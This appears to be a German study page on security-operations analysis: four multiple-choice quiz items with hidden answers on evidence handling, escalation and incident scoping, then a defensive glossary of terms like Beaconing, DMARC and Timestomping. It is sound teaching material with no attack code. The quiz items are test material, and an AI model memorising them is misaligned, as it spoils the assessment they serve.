Speichere diese Einheit, um diese Antwort zu sehen.

Frage 7 von 10

Eine Einsatzkraft erhält einen gesicherten Mitschnitt und seinen SHA-256-Hashwert, aber keine Historie der Sicherung oder Übertragung. Welche Aufzeichnung zur Beweiserhaltung fehlt?
  1. Die sichernde Person, weitere Bearbeiter und Übertragungszeitpunkte des Mitschnitts
  2. Die Abfrage, die die Alarmmeldungen aus dem Mitschnitt erzeugte
  3. Die SHA-256-Werte der aus dem Mitschnitt exportierten Dateien
  4. Die aus aufgezeichneten Adresspaaren abgeleiteten Hostnamen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 8 von 10

Auf einem hochwertigen Server ist eine Dokumentinfektion bestätigt. Ein großer Upload ist noch nicht zugeordnet und der Agent funktioniert weiterhin. Das Playbook sieht Isolierung und Triage-Datensicherung vor. Welche Übergabe und Maßnahme passen zu diesen Fakten?
  1. Daten sichern und isolieren, aber die Eskalation bis zum Nachweis eines Datenverlusts aufschieben
  2. Infektion und Datendiebstahl als bestätigt eskalieren und den Host anschließend isolieren
  3. Die Infektion eskalieren, sofort ausschalten und danach den Prozessspeicher sichern
  4. Eskalieren und Daten gemäß Playbook sichern und isolieren; die Upload-Zuordnung offenlassen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 9 von 10

Vollständig erfasste Datensätze einer Verbindung zeigen, dass Host E von 10:00–10:04 Uhr 240 MB und von 10:04–10:10 Uhr 360 MB sendet; Datensätze der Gegenrichtung umfassen dieselben zehn Minuten mit insgesamt 6 MB. Seine normale ausgehende Rate beträgt 0,5 MB/s. Eine unabhängige Paketstichprobe enthält kein passendes Paket. Wie sind die ausgehende Rate und der Befund zu interpretieren?
  1. Host E sendete mit 1 MB/s, dem Doppelten der Baseline; die leere Stichprobe lässt den Zweck offen
  2. Host E sendete mit 0,5 MB/s wie in der Baseline; beide Richtungsdauern addieren und abschließen
  3. Host E sendete mit 1 MB/s, dem Doppelten der Baseline; die fehlende Stichprobe bestätigt Datendiebstahl
  4. Host E sendete mit 0 MB/s; die vollständigen Datensätze ohne passendes Stichprobenpaket verwerfen
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Frage 10 von 10

Eine Sandbox zeigt, dass ein Downloadprogramm eine Domäne erreicht und einen charakteristischen Run-Eintrag erstellt. Produktions-DNS zeigt die Domäne auf sechs Hosts, aber EDR bestätigt den Hashwert der abgelegten Datei und das Run-Ziel nur auf zwei; bei den anderen vier fehlt die Endgerätehistorie. Welche Aussage zum Ausmaß ist gerechtfertigt?
  1. Sechs Hosts sind bestätigt infiziert, weil dieselbe DNS-Abfrage auf jedem die Ausführung der Nutzlast belegt
  2. Nur zwei Hosts waren betroffen, weil fehlende EDR-Ereignisse die anderen vier DNS-Beobachtungen widerlegen
  3. Auf zwei Hosts sind passende Artefakte bestätigt; sechs liefern DNS-Hinweise, bei vier fehlen weitere Belege
  4. Die Sandbox-Infektion ist unbestätigt, weil auf weniger als sechs Hosts Produktionsartefakte gefunden wurden
Antwort zeigenAntwort ausblenden

Speichere diese Einheit, um diese Antwort zu sehen.

Hängst du bei deiner eigenen Aufgabe fest? Hausaufgabenhilfe

Schlüsselbegriffe

103 Schlüsselbegriffe, jeweils mit Definition

A

Anzeigefilter
Ein Anzeigefilter wählt aus, welche gespeicherten Pakete Wireshark zeigt, ohne die in der aktuellen Ansicht ausgeblendeten Pakete zu löschen.
Nach dem Entfernen des DNS-Anzeigefilters erscheinen die anderen aufgezeichneten Protokolle wieder in der Paketliste.
Aufzeichnungsfilter
Ein Aufzeichnungsfilter wählt Pakete vor dem Speichern aus und verwendet in tcpdump und den Wireshark-Aufzeichnungseinstellungen BPF-Syntax.
Der Analyst schneidet den Verkehr eines Hosts breit mit, um keinen unerwarteten zweiten Kommunikationskanal zu verwerfen.
Authentication-Results
Ein Authentication-Results-Header dokumentiert die Authentifizierungsergebnisse eines Empfangssystems, die nur innerhalb seiner Vertrauensgrenze nützlich sind.
Der Analyst ignoriert eine vom Absender gelieferte Kopie und liest das vom Gateway der Organisation hinzugefügte Ergebnis.
authorized_keys
Eine authorized_keys-Datei listet öffentliche SSH-Schlüssel auf, die zur Authentifizierung bei einem Konto berechtigt sind, und schafft damit einen vom Passwort unabhängigen Zugang.
Ein unerklärter neuer Schlüssel wird vor der Entfernung gesichert, weil ein Zurücksetzen des Passworts diesen Weg offenlassen würde.

B

Baseline des Netzwerkverkehrs
Eine Baseline des Netzwerkverkehrs beschreibt die normale Kommunikation eines Hosts oder einer Rolle einschließlich üblicher Ziele, Volumen und Tagesmuster.
Die nächtlichen Uploads eines Sicherungsservers werden mit seinem eigenen Zeitplan statt mit dem Volumen einer Arbeitsstation verglichen.
Beaconing
Beaconing ist wiederholte Kommunikation von Malware mit einem Command-and-Control-Server, häufig zeitgesteuert und mit ähnlich kleinen Datenaustauschen.
Regelmäßige Verbindungen veranlassen das Team, Ziel und Prozess zu prüfen, bevor es sie als C2 einstuft.
Bestätigungsfehler
Ein Bestätigungsfehler bevorzugt Informationen, die eine bestehende Theorie stützen, und vernachlässigt Belege, die sie schwächen oder ersetzen könnten.
Der Analyst prüft ein Wartungsticket, obwohl mehrere Ereignisse zunächst auf einen Angriff hindeuten.
Beweismittelkette
Eine Beweismittelkette dokumentiert, wer Beweismittel wann gesichert, bearbeitet oder übertragen hat, und hält ihren Umgang ab der Sicherung fest.
Ein Übertragungseintrag und der dokumentierte SHA-256-Hashwert der Datei ermöglichen einer Einsatzkraft, das empfangene Objekt zu verifizieren.
Business Email Compromise
Business Email Compromise ist E-Mail-Betrug durch Identitätsvortäuschung, der auf Zahlungen, sensible Informationen oder Änderungen geschäftlicher Anweisungen abzielt.
Eine authentifizierte Lieferantennachricht fordert ein neues Bankkonto an, ohne einen Link oder Anhang zu enthalten.

C

Cronjob
Ein Cronjob ist ein geplanter Befehl auf Unix-artigen Systemen, dessen Zeitfelder festlegen, wann ein Benutzer oder das System ihn ausführen soll.
Ein unerklärter Benutzerjob lädt alle zehn Minuten ein Skript herunter und führt es aus, wodurch ein wiederholter Ausführungsweg entsteht.

D

Dateilose Ausführung
Dateilose Ausführung führt Code aus, ohne dass dieser als herkömmliche ausführbare Datei auf dem Datenträger gespeichert werden muss.
Eine Download-Pipeline übergibt Skripttext direkt zur PowerShell-Ausführung und hinterlässt Prozessbelege.
Datenbereitstellung
Datenbereitstellung sammelt und bereitet Daten für eine spätere Übertragung vor, häufig indem Dateien in Archiven zusammengeführt oder in Teile aufgeteilt werden.
Neue Archivteile erscheinen kurz vor einer großen ausgehenden Verbindung in einem temporären Ordner.
Defanging
Defanging verändert den Text eines Indikators, etwa durch Ersetzen von https durch hxxps, um bei seiner Weitergabe versehentliche Aufrufe zu verringern.
Ein Ticket verwendet eine entschärfte URL, während die Originalnachricht im Beweismittelspeicher verfügbar bleibt.
Detonation
Bei einer Detonation wird ein verdächtiges Sample in einer kontrollierten Analyseumgebung ausgeführt, um sein Verhalten während dieses Durchlaufs zu beobachten.
Der Analyst dokumentiert Betriebssystem, Anwendungsunterstützung und Laufzeit zusammen mit dem Detonationsbericht.
DKIM
DKIM verifiziert die digitale Signatur einer Domäne über ausgewählte Nachrichtenheader und den Inhalt des Nachrichtenrumpfs mit einem im DNS veröffentlichten öffentlichen Schlüssel.
Eine Nachricht kann nach der Weiterleitung eine gültige DKIM-Signatur behalten, wenn der signierte Inhalt unverändert bleibt.
DMARC
DMARC prüft den Abgleich einer erfolgreichen SPF- oder DKIM-Identität mit der sichtbaren From-Domäne und veröffentlicht die gewünschte Behandlung fehlgeschlagener Nachrichten.
Ein Erfolg für eine unabhängige signierende Domäne kann das sichtbare From über DMARC nicht authentifizieren.
DNS
Das Domain Name System (DNS) liefert Einträge zu Namen, darunter Adressen, Mailserver, Aliase und Text.
Eine A-Antwort liefert eine IPv4-Adresse, die mit der anschließenden Verbindung einer Arbeitsstation verglichen werden kann.
DNS-Tunneling
DNS-Tunneling überträgt Daten in DNS-Nachrichten, häufig in kodierten Abfragelabels, die eine größere Übertragung auf mehrere Anfragen aufteilen.
Ein Host sendet während eines ungewöhnlichen Upload-Zeitraums viele unterschiedliche lange Subdomänen unter einer übergeordneten Domäne.
Domänenabgleich
Der Domänenabgleich ist die bei einer DMARC-Prüfung erforderliche Beziehung zwischen einer authentifizierten E-Mail-Domäne und der sichtbaren From-Domäne.
Der gelockerte Abgleich akzeptiert Subdomänen derselben Organisationsdomäne; der strikte Modus verlangt eine exakte Übereinstimmung.
Domänengenerierungsalgorithmus
Ein Domänengenerierungsalgorithmus erzeugt viele mögliche Namen, die Malware ausprobieren kann, bis sie verfügbare Infrastruktur des Angreifers findet.
Eine lange Folge von NXDOMAIN-Abfragen für zufällig wirkende Namen geht der ersten erfolgreichen Verbindung voraus.

E

EDR
Endpoint Detection and Response zeichnet Hostaktivität auf, erkennt verdächtiges Verhalten und ermöglicht Untersuchungs- und Reaktionsmaßnahmen aus der Ferne.
Eine Prozessalarmmeldung führt zur Host-Zeitleiste, zur abgelegten Datei und zur ausgehenden Verbindung des Programms.
EncodedCommand
EncodedCommand ist eine PowerShell-Option, die einen als Base64-kodierten UTF-16LE-Text dargestellten Befehl entgegennimmt.
Nach der Base64-Dekodierung interpretiert der Analyst die Bytes als UTF-16LE, um das Skript zu lesen.
Encrypted Client Hello
Encrypted Client Hello (ECH) schützt Client-Hello-Informationen wie den tatsächlich angefragten Servernamen vor passiven Beobachtern.
Der Paketmitschnitt enthält weiterhin Zeitangaben und Größen, auch wenn der vorgesehene Name durch ECH verborgen ist.
Entropie
Entropie misst die Ungewissheit von Bytewerten bis zu 8 Bit pro Byte; hohe Werte treten häufig bei komprimierten oder verschlüsselten Daten auf.
Ein Installationsprogramm mit hoher Entropie muss dennoch im Kontext betrachtet werden, weil gewöhnliche Komprimierung denselben Hinweis erzeugen kann.
Envelope-Absender
Der Envelope-Absender ist die SMTP-Rücksendeadresse für Zustellungsfehler, die der Empfänger normalerweise in Return-Path erfasst.
Ein Versanddienst verwendet seine eigene Envelope-Domäne und zeigt zugleich die From-Adresse seines Kunden an.

F

Falsch negatives Ergebnis
Ein falsch negatives Ergebnis ist bösartige Aktivität, für die eine Erkennung keine Alarmmeldung ausgelöst hat und die durch eine andere Quelle oder spätere Untersuchung entdeckt wird.
Nachträglich ausgewertete Endgerätebelege zeigen eine Ausführung, die die ursprünglichen Alarmregeln übersehen haben.
Falsch positives Ergebnis
Ein falsch positives Ergebnis ist eine Alarmmeldung zu einer Aktivität außerhalb dessen, was die Erkennung finden sollte, und stellt damit einen fehlerhaften Treffer dar.
Eine Regel für einen bestimmten Exploit schlägt bei gewöhnlichem Inhalt an, der zufällig ihrem Muster entspricht.
Flow-Datensatz
Ein Flow-Datensatz fasst Pakete mit demselben Netzwerkschlüssel über einen Zeitraum zusammen und enthält Verkehrszahlen und Metadaten, aber keine Nutzdaten.
Die langfristige Flow-Historie zeigt, ob das Ziel einer Alarmmeldung vor dieser für die Arbeitsstation neu war.
From-Header
Der From-Header enthält die sichtbare Absenderadresse einer Nachricht und liefert die Domäne, mit der bei DMARC abgeglichen wird.
Der Analyst vergleicht die sichtbare Domäne mit den Domänen, für die SPF und DKIM erfolgreich waren.
Fuzzy-Hash
Ein Fuzzy-Hash unterstützt Ähnlichkeitsvergleiche zwischen Dateien und hilft, verwandte Samples zu gruppieren, selbst wenn ihre exakten Hashwerte unterschiedlich sind.
Zwei veränderte Nutzlasten werden auf Ähnlichkeit verglichen, nachdem exakte Hashwertsuchen sie nicht verknüpfen konnten.

G

GeoIP
GeoIP schätzt den mit einer IP-Adresse verbundenen geografischen Standort und beschreibt dabei gewöhnlich Infrastruktur statt eines verifizierten Benutzers.
Die für einen Cloud-Endpunkt gemeldete Stadt wird getrennt von Aussagen über den Standort des Angreifers betrachtet.
Geplante Aufgabe
Eine geplante Aufgabe legt fest, dass ein Programm zu einem Zeitpunkt, in einem Intervall oder bei einem Ereignis ausgeführt wird. Sie dient legitimer Automatisierung und kann einen Persistenzweg bieten.
Eine vertrauenswürdig wirkende Updateaufgabe startet tatsächlich eine ausführbare Datei in einem öffentlichen Ordner.
Gutartiges richtig positives Ergebnis
Ein gutartiges richtig positives Ergebnis erkennt das vorgesehene Verhalten korrekt, obwohl dieses Verhalten autorisiert ist, etwa bei einem genehmigten Sicherheitstest.
Eine Scan-Alarmmeldung ist korrekt und ein Sicherheitstestplan bestätigt, dass der beobachtete Scanner genehmigt war.

H

Homoglyph
Ein Homoglyph ist ein Zeichen, das wie ein anderes aussieht und dadurch eine Domäne trotz unterschiedlicher Zeichenfolge einem vertrauenswürdigen Namen ähneln lässt.
Punycode zeigt, dass eine ähnlich aussehende Domäne mit einem kyrillischen Zeichen statt mit dem lateinischen Buchstaben beginnt.
Horizontaler Portscan
Ein horizontaler Portscan prüft denselben Dienstport auf mehreren Zielhosts, um Systeme zu erkennen, die diesen Dienst anbieten.
Ein Analyst prüft die Autorisierung, wenn eine Arbeitsstation Port 445 auf vielen anderen Arbeitsstationen kontaktiert.
HTTP-Host-Header
Der HTTP-Host-Header bezeichnet den vorgesehenen Host in einer HTTP-Anfrage und hilft, Domänen zu unterscheiden, die sich eine IP-Adresse teilen.
Der Analyst liest Host im unverschlüsselten Datenstrom, bevor er eine IP-Verbindung mit der Phishing-Domäne verknüpft.

I

IDS-Regel
Eine IDS-Regel legt Verkehrsbedingungen fest, die eine Erkennung auslösen, darunter Protokoll, Richtung und optionale Inhalts- oder Flow-Prüfungen.
Der Analyst liest die Bedingung für aufgebaute Verbindungen in einer Alarmmeldung, bevor er die Bedeutung des Porttreffers beurteilt.
Imphash
Ein Imphash ist ein aus den importierten Funktionen einer ausführbaren Windows-Datei abgeleiteter Hashwert, der Programme mit ähnlichen Importen gruppieren hilft.
Die importbasierte Gruppierung liefert einen Hinweis für den Vergleich verwandter ausführbarer Samples.
IPFIX
IPFIX ist ein IETF-Standard für den Export von Netzwerk-Flow-Informationen anhand von Vorlagen, die die Felder jedes Datensatzes beschreiben.
Ein Kollektor liest Exportervorlagen, bevor er Adressen und Bytezähler in neuen Datensätzen interpretiert.

J

Jitter
Jitter ist eine Abweichung, die wiederholten Kommunikationsintervallen hinzugefügt wird und ein automatisiertes Kontaktmuster weniger regelmäßig machen kann.
Eine Abfolge mit einem Mittelwert von ungefähr fünf Minuten wirkt weiterhin automatisiert, auch wenn sich die einzelnen Abstände leicht unterscheiden.

K

Kompromittierungsindikator
Ein Kompromittierungsindikator ist ein beobachtbarer Wert oder ein Artefakt, das zur Untersuchung möglicher Angriffsaktivität und zum Auffinden zugehöriger Belege dient.
Der Anhangs-Hashwert und der URL-Pfad einer E-Mail werden zu getrennten Suchbegriffen im E-Mail-Gateway und in Endgerätedatensätzen.
Korrelation
Korrelation verbindet Belege anhand gleicher Felder und zeitlicher Beziehungen, sodass Beobachtungen aus verschiedenen Quellen gemeinsam geprüft werden können.
Der Analyst verknüpft den Hashwert eines E-Mail-Anhangs mit der Datei, die von einer bestimmten Prozessinstanz geöffnet wurde.

L

LaunchAgent und LaunchDaemon
LaunchAgents und LaunchDaemons sind über Property-List-Dateien konfigurierte macOS-Starteinträge, die Programme im Benutzer- oder Systemkontext ausführen.
Ein neuer Starteintrag zeigt auf eine unerwartete ausführbare Datei, daher werden Auslöser und Ziel zur Prüfung gesichert.
LOLBin
Ein Living-off-the-Land-Binary ist ein legitimes Systemprogramm, das ein Angreifer für Aktionen wie das Herunterladen oder Ausführen von Code missbraucht.
Die Argumente des signierten Werkzeugs zeigen einen entfernten Download, den seine Elternanwendung nicht anfordern musste.

M

Magische Zahl
Eine magische Zahl ist ein erkennbares Bytemuster zur Identifizierung eines Dateiformats, das häufig nahe dem Dateianfang steht.
Die ersten Bytes MZ widersprechen dem dokumentähnlichen Namen eines Anhangs und geben Anlass zur Prüfung der Struktur einer ausführbaren Datei.
Mark of the Web
Der Mark of the Web sind Windows-Herkunftsmetadaten, die häufig in Zone.Identifier gespeichert werden und aus dem Internet stammende Inhalte kennzeichnen können.
Der erhaltene alternative Datenstrom eines gespeicherten Anhangs enthält eine URL, die die Datei mit ihrer Downloadquelle verbindet.
Maskierung
Maskierung tarnt einen Prozess oder eine Datei durch einen irreführenden Namen, Speicherort oder andere sichtbare Merkmale als vertrauenswürdig.
Ein systemähnlicher Prozessname verweist auf eine ausführbare Datei in einem für Benutzer beschreibbaren öffentlichen Ordner.
MDM
Mobile Device Management registriert und verwaltet Mobilgeräte mithilfe von Richtlinien, Inventar, Konformitätsprüfungen und Fernmaßnahmen am Gerät.
Ein App-Inventar zeigt eine nicht genehmigte Fernzugriffsanwendung auf einem verwalteten Tablet.
Message-ID
Eine Message-ID ist eine vom sendenden System vergebene Nachrichtenkennung, die beim Auffinden zugehöriger E-Mail-Datensätze hilft.
Der Analyst nimmt die ursprüngliche Message-ID in die Fallabfrage auf, um Zustellungsereignisse abzurufen.
MITRE ATT&CK
MITRE ATT&CK beschreibt Taktiken und Techniken von Angreifern zur Benennung beobachteten Verhaltens, ohne eine feste Angriffsreihenfolge vorzuschreiben.
Das Run-Schlüssel-Artefakt stützt eine Persistenzzuordnung, während die Zustellung durch Phishing separate E-Mail-Belege benötigt.
Mutex
Ein Mutex ist ein Synchronisationsobjekt, das jeweils einem Thread den Zugriff auf eine gemeinsam genutzte Ressource erlaubt; auch legitime Software verwendet Mutexes.
Der charakteristische Mutex-Name eines Samples wird zum Suchhinweis, nachdem er mit der beobachteten Nutzlast verbunden wurde.

N

NAT
Netzwerkadressübersetzung (Network Address Translation, NAT) schreibt Adressinformationen zwischen Netzwerken um und kann die Identitäten interner Hosts vor einem externen Sensor verbergen.
Ein Übersetzungsdatensatz der Firewall verbindet eine öffentliche Quellverbindung mit der Arbeitsstation, die sie aufgebaut hat.
Netzwerk-TAP
Ein Netzwerk-TAP ist ein passives Gerät, das Verbindungsverkehr an Überwachungsgeräte kopiert; für die kopierten Richtungen ist ausreichend Kapazität nötig.
Der Sensor nutzt getrennte Empfangsleitungen, damit gleichzeitiger Verkehr in beiden Richtungen vom Aufzeichnungssystem bewältigt werden kann.
Nicht autorisiertes Gerät
Ein nicht autorisiertes Gerät ist Hardware, die ohne Genehmigung an ein Netzwerk angeschlossen ist, unabhängig davon, ob ihr aktueller Verkehr bösartig ist.
Ein unbekannter DHCP-Lease wird mit Asset-Datensätzen und der Liste genehmigt registrierter Geräte abgeglichen.
NXDOMAIN
NXDOMAIN ist ein DNS-Antwortcode, der anzeigt, dass der abgefragte Domänenname nicht existiert; er unterscheidet sich von einer Zeitüberschreitung der Verbindung.
Wiederholte Fehlschläge für viele erzeugt wirkende Namen veranlassen den Analysten, den abfragenden Prozess zu untersuchen.

P

Packer
Ein Packer verändert ein Programm durch Komprimierung oder Verschlüsselung und stellt während der Ausführung nutzbaren Code wieder her, wodurch die statische Untersuchung erschwert wird.
Wenige Zeichenketten, UPX-Abschnittsnamen und spärliche Importe veranlassen den Analysten, das Verhalten in einer Sandbox zu untersuchen.
Paketmitschnitt
Ein Paketmitschnitt speichert die an einem Sensor beobachteten Paketheader und erfassten Nutzdaten und ermöglicht so die detaillierte Untersuchung eines Austauschs.
Ein Analyst ruft den Mitschnitt für die Minute ab, in der eine Arbeitsstation erstmals einen verdächtigen Server kontaktierte.
Passives DNS
Passives DNS zeichnet beobachtete Zuordnungen von Domänen zu Adressen im Zeitverlauf auf und hilft, die frühere Nutzung von Namen und Infrastruktur zu untersuchen.
Historische Zuordnungen helfen festzustellen, ob eine Domäne die verdächtige IP-Adresse während des Vorfallzeitraums nutzte.
PE-Importtabelle
Eine PE-Importtabelle listet Funktionen auf, die eine ausführbare Windows-Datei aus Bibliotheken anfordert, und liefert Hinweise auf mögliche Fähigkeiten.
Importe für entfernten Arbeitsspeicher und Thread-Erstellung deuten auf eine Injektionsfähigkeit hin, die dynamisch geprüft werden sollte.
Persistenz
Persistenz erhält oder erneuert den Zugriff eines Angreifers durch Mechanismen, die Unterbrechungen wie Abmeldung oder Systemneustart überstehen.
Ein Run-Eintrag und eine geplante Aufgabe zeigen beide auf die Nutzlast und bieten getrennte Auslöser für einen erneuten Start.
Phishing
Phishing ist eine betrügerische Nachricht, die eine schädliche Handlung auslösen soll, etwa die Preisgabe von Zugangsdaten, das Senden von Geld oder das Ausführen von Inhalten.
Eine Nachricht drängt einen Benutzer, vor einer angeblichen Kontoschließung den normalen Genehmigungsweg zu umgehen.
Prozentkodierung
Die Prozentkodierung stellt ein Zeichen durch ein Prozentzeichen und Hexadezimalziffern dar und verbirgt häufig URL-Strukturen innerhalb von Parametern.
Die Dekodierung von %3A und %2F macht die eingebettete URL lesbar, ohne ihr Ziel aufzurufen.
Prozess-GUID
Eine Prozess-GUID ist eine eindeutige Kennung einer Prozessinstanz, die Ereignisse verknüpft hält, selbst wenn ein Betriebssystem eine numerische PID erneut vergibt.
Zwei Prozesse mit derselben PID an verschiedenen Tagen bleiben in den Sysmon-Belegen getrennt.
Prozessbaum
Ein Prozessbaum zeigt Eltern-Kind-Beziehungen zwischen Prozessinstanzen und hilft nachzuvollziehen, welche Anwendung spätere Aktionen ausgelöst hat.
Word startet eine Shell, die PowerShell und anschließend eine neu geschriebene ausführbare Datei startet.
Pyramid of Pain
Die Pyramid of Pain ordnet Indikatortypen nach dem Aufwand, den Angreifer für ihre Änderung haben, von exakten Hashwerten bis zu Werkzeugen und Techniken.
Das Erkennungsteam hält neben dem aktuellen Nutzlast-Hashwert auch ein Prozess- und Persistenzmuster fest.

R

Ransomware
Ransomware ist Schadsoftware, die den Zugriff auf Daten oder Systeme verweigert, häufig durch Verschlüsselung, und eine Zahlung verlangt.
Das Löschen von Sicherungen, gefolgt von massenhaften Dateiumbenennungen und Erpresserschreiben, löst eine dringende Eskalation des Sicherheitsvorfalls aus.
RDAP
Das Registration Data Access Protocol liefert strukturierte Domänenregistrierungsdaten und ist für generische Top-Level-Domains maßgeblich.
Eine Abfrage liefert die Registrierungsstelle und das Datum der erst kürzlich erfolgten Erstellung, obwohl die Angaben zum Inhaber geschwärzt sind.
Received-Header
Ein Received-Header dokumentiert eine Station der E-Mail-Verarbeitung und wird vom empfangenden Server vorangestellt, sodass neuere Stationen über älteren stehen.
Der vertrauenswürdige Gateway-Eintrag liefert die Verbindungs-IP, selbst wenn darunter behauptete Stationen gefälscht sind.
Regulärer Ausdruck
Ein regulärer Ausdruck beschreibt ein Textmuster zur Suche oder Extraktion; gefundene Ergebnisse müssen weiterhin inhaltlich validiert werden.
Ein IPv4-ähnliches Textmuster findet Kandidaten, die anschließend auf gültige Adressoktette geprüft werden.
Reputation
Reputation fasst frühere Beobachtungen oder Meldungen zu einem Objekt wie einer Datei oder IP-Adresse zusammen und muss anhand von Daten und lokalem Kontext eingeordnet werden.
Eine niedrige Erkennungszahl wird mit dem ersten Auftreten des Samples und seinem aufgezeichneten Verhalten verglichen.
Richtig positives Ergebnis
Ein richtig positives Ergebnis ist eine korrekte Erkennung bösartiger Aktivität, die durch das beobachtete Verhalten und den Kontext der Untersuchung gestützt wird.
Das erkannte Downloadprogramm wird mit nicht genehmigter Dokumentausführung und neu eingerichteter Persistenz verbunden.
Ringpuffer
Ein Ringpuffer speichert Mitschnittdaten in einer begrenzten, fortlaufend überschriebenen Gruppe von Dateien und ersetzt bei erneuter Speichernutzung die ältesten Daten.
Das Team exportiert den Vorfallzeitraum, bevor der weiterlaufende Verkehr diesen Teil des Puffers überschreibt.
Run-Schlüssel
Ein Run-Schlüssel ist ein Autostart-Speicherort in der Windows-Registrierung, der konfigurierte Programme bei der Benutzeranmeldung im Benutzer- oder Computerbereich startet.
Der neue Run-Wert des Benutzers zeigt auf ein unsigniertes Programm, das kurz nach der Dokumentausführung erstellt wurde.

S

Sandbox
Eine Sandbox ist eine isolierte, mit Überwachungswerkzeugen ausgestattete Umgebung, die ein Sample ausführt und seine Aktionen unter kontrollierten Bedingungen aufzeichnet.
Der Bericht verbindet die Dokumentausführung mit einem heruntergeladenen Programm und einem neuen Autostart-Eintrag.
Sandbox-Umgehung
Sandbox-Umgehung verzögert oder verändert bösartiges Verhalten, wenn ein Sample Analysebedingungen erkennt oder seine erwartete Umgebung nicht vorfindet.
Ein kurzer inaktiver Durchlauf wird mit Benutzerinteraktion wiederholt, um zu prüfen, ob das Sample auf Klicks gewartet hat.
Scoping einer Angriffskampagne
Das Scoping einer Angriffskampagne ermittelt die Reichweite einer verdächtigen Nachrichtenkampagne, indem es Empfänger, Interaktionen und nachfolgende Konto- oder Hostaktivitäten erfasst.
Aus einer gemeldeten E-Mail entsteht eine Liste zugestellter Kopien, Personen mit Linkaufruf und betroffener Konten.
Sensorstatus
Der Sensorstatus beschreibt, ob ein Endgeräteagent installiert und aktiv ist, Daten meldet und für die Erfassung der relevanten Telemetrie konfiguriert ist.
Das Team prüft die letzte Meldung des Agenten, bevor es die leere Ereignishistorie des Hosts interpretiert.
SHA-256
SHA-256 ist eine kryptografische Hashfunktion, die zur Identifizierung von Dateiinhalten einen 256-Bit-Wert erzeugt, der als 64 Hexadezimalzeichen geschrieben wird.
Der Analyst berechnet den Hashwert eines exportierten Samples und dokumentiert ihn neben den Angaben zu seiner Sicherung.
SNI
Die Server Name Indication (SNI) bezeichnet den angefragten Servernamen in einem TLS Client Hello, wenn dieser Name nicht durch ECH geschützt ist.
Ein sichtbarer Servername hilft, eine TLS-Sitzung mit einer zuvor in den DNS-Protokollen zurückgegebenen Domäne zu verbinden.
SPAN-Port
Ein SPAN-Port ist ein Switch-Port, der so konfiguriert ist, dass er Kopien ausgewählten Netzwerkverkehrs zur Überwachung und für Paketmitschnitte empfängt.
Ein stark ausgelastetes Spiegelungsziel verwirft Kopien, wenn der ausgewählte VLAN-Verkehr seine Ausgangskapazität übersteigt.
Spear-Phishing
Spear-Phishing richtet sich an ausgewählte Personen oder Gruppen und nutzt Einzelheiten, die eine Anfrage für diese Empfänger relevant und glaubwürdig erscheinen lassen.
Ein Angreifer nennt ein echtes Projekt, als er dessen Finanzkontakt bittet, ein Dokument zu öffnen.
SPF
SPF ist eine E-Mail-Authentifizierungsmethode, die die IP-Adresse eines sendenden Servers mit den autorisierten Absendern der Envelope-Domäne abgleicht.
Eine über einen nicht aufgeführten Server weitergeleitete E-Mail kann SPF nicht bestehen, selbst wenn die ursprüngliche Nachricht legitim war.
Statische Analyse
Die statische Analyse untersucht eine Datei, ohne sie auszuführen, und nutzt Typ, lesbaren Inhalt und Struktur, um Untersuchungshinweise zu finden.
Der Analyst extrahiert Makrotext und Netzwerkzeichenketten, bevor er auswählt, was eine Sandbox beobachten soll.
Stichprobenerfassung
Die Stichprobenerfassung beobachtet einen ausgewählten Anteil der Pakete. Sie ermöglicht Verkehrsschätzungen, wobei einige kurze Ereignisse unbemerkt bleiben können.
Ein erfasstes Paket von jeweils tausend liefert eine grobe Volumenschätzung, kann aber eine kurze Verbindung übersehen.
systemd-Unit
Eine systemd-Unit ist ein Konfigurationsobjekt zur Verwaltung von Linux-Ressourcen wie Diensten; Unit-Dateien legen fest, wie ein Dienst startet.
Der Analyst vergleicht Programm und Starteinstellungen einer neuen Unit-Datei mit der genehmigten Server-Baseline.

T

TCP-Datenstromrekonstruktion
Die TCP-Datenstromrekonstruktion setzt Anwendungsbytes aus einem TCP-Kommunikationsablauf wieder zusammen, sodass ein Analyst den Austausch in Reihenfolge lesen kann.
Die Verfolgung eines Datenstroms zeigt eine ausführbare Datei als Antwort auf eine Anfrage, deren URL mit einer Webseiten-Endung endet.
TCP-Handshake
Der TCP-Handshake ist der Austausch von SYN, SYN-ACK und ACK, der eine Verbindung aufbaut und ihren Initiator erkennen lässt.
Ein Client mit hohem Port sendet das erste SYN; der Dienst antwortet mit vertauschten Adressen und Ports.
Thread-Hijacking
Beim Thread-Hijacking wird eine Nachricht des Angreifers in einen bestehenden Austausch eingefügt, um dessen Kontext und das Vertrauen der Beteiligten auszunutzen.
Eine Bitte um Umleitung einer Rechnungszahlung trifft innerhalb eines echten Austauschs mit einem kompromittierten Lieferantenpostfach ein.
Timestomping
Timestomping verändert Dateizeitstempel, um zu verschleiern, wann ein Artefakt erschien oder verwendet wurde, und lässt so aktuelle Aktivität älter wirken.
Eine Datei zeigt ein altes Erstellungsdatum, aber während des Angriffs tritt ein Sysmon-Ereignis zur Zeitstempeländerung auf.
TLS-Fingerabdruck
Ein TLS-Fingerabdruck fasst Handshake-Merkmale zusammen und hilft, Clients mit ähnlichen Protokolleinstellungen und Implementierungen zu gruppieren.
Derselbe Fingerabdruck auf mehreren Hosts gibt Anlass, ihre verantwortlichen Prozesse zu vergleichen.
Typosquatting
Beim Typosquatting wird eine falsch geschriebene oder optisch ähnliche Domäne registriert, um eine andere Organisation nachzuahmen oder Tippfehler auszunutzen.
Der Analyst entdeckt, dass in der Domäne des vermeintlichen Lieferanten eine Ziffer einen Buchstaben ersetzt.

U

Uhrenversatz
Ein Uhrenversatz ist die Differenz zwischen einer Quelluhr und der Referenzzeit, die eine Korrektur über die Zeitzonenumrechnung hinaus erfordert.
Die Fallnotizen halten fest, dass ein Sensor zwei Minuten nachgeht, damit seine Ereignisse genau abgeglichen werden können.
UTC
Die Koordinierte Weltzeit (UTC) dient als gemeinsame Zeitreferenz, um Ereignisse aus unterschiedlichen lokalen Zeitzonen zu vergleichen.
Ein bei UTC+2 erfasster Export wird umgerechnet, bevor sein Prozessstart mit einem Firewallereignis verglichen wird.

V

Verbindungszustand
Ein Verbindungszustand fasst den Verlauf eines beobachteten Austauschs zusammen, etwa einen unbeantworteten Versuch oder eine normal geschlossene TCP-Sitzung.
